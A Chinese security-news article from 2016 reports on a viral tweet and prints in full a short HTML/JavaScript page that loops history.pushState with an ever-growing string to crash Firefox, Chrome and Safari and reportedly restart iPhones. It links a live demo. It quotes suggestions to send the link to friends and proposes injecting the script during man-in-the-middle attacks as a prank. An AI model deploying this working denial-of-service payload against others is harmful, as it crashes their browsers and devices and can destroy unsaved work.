這十二行代碼是如何讓瀏覽器爆炸的?
2016-02-20 19:45:06 來源: 0xroot FreeBuf 評論:0 點擊:
起因
今天刷推特的時候發現Cyber Security@cyber__sec的推文讓人眼前一亮:
Crash firefox, chrome, safari browsers, and also restart iphone using this javascript code. #dos #0day #exploit//使用下面這段JavaScript代碼能讓firefox,chrome,safari瀏覽器崩潰,而且還能讓iphone重啟。
繼續在推特上深挖發現IT Security Tweets ™ @F1r3h4nd 于17日發推:
Crash your friend's browser and restart Iphone with a link which has this script: #0day
//把帶有下面這個腳本的鏈接發給你的朋友,能讓你朋友的瀏覽器崩潰,而且讓Iphone重啟。
完整HTML代碼如下:
- <html>
- <body>
- <script>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- totaltotal= total+i.toString();
- history.pushState(0,0,total);
- }
- </script>
- </body>
- </html>
demo:(溫馨提示:請保存瀏覽器其它窗口的編輯任務)
www.0xroot.cn/demo.html (點擊一下,又不會懷孕!)
接來下會發生什么?
點開以后,我的狀態是這樣的:
如果你是PC端用戶,點開鏈接以后,電腦CPU內存極有可能一路狂飆直至瀏覽器崩潰卡死!
如果你是移動端(安卓、iPhone)用戶,點開鏈接以后你的瀏覽器會閃退!在微博、微信客戶端點開鏈接同樣會閃退。至于在推文中提到的讓iPhone重啟,這一現象倒是沒有出現。22:49 修正:iPhone用Safari打開之后鏈接之后,手機注銷重啟了!…
思考
這是Bug還是0day?為什么會有這一現象?如何實現的?
有哪些比較有意思的利用姿勢?(我先來個:當在執行MITM中間人攻擊的時候,可以注入這一段js,來個惡搞整蠱。然后都懂的…)
歡迎大家在評論中發表自己的觀點
微博評論/討論摘取
懷孕了...好有趣...好可怕...整蠱不錯我已禍害了好多人(賣萌臉(づ ̄ 3 ̄)づ)崩潰了火狐假死10秒后彈窗提示腳本無響應可停止難道是history的棧溢出么?可以可以,新姿勢get√JS是世界上最好的語言!hist.pushState是干嘛用的?電腦正在重啟不能只讓我一個人中招我為什么會手賤?Chrome隱身模式沒有問題啊
上一篇:Websense、Stonesoft與Raytheon商務公司組成Forcepoint
下一篇:網絡安全行業進入”戰國時代”,誰能突圍?
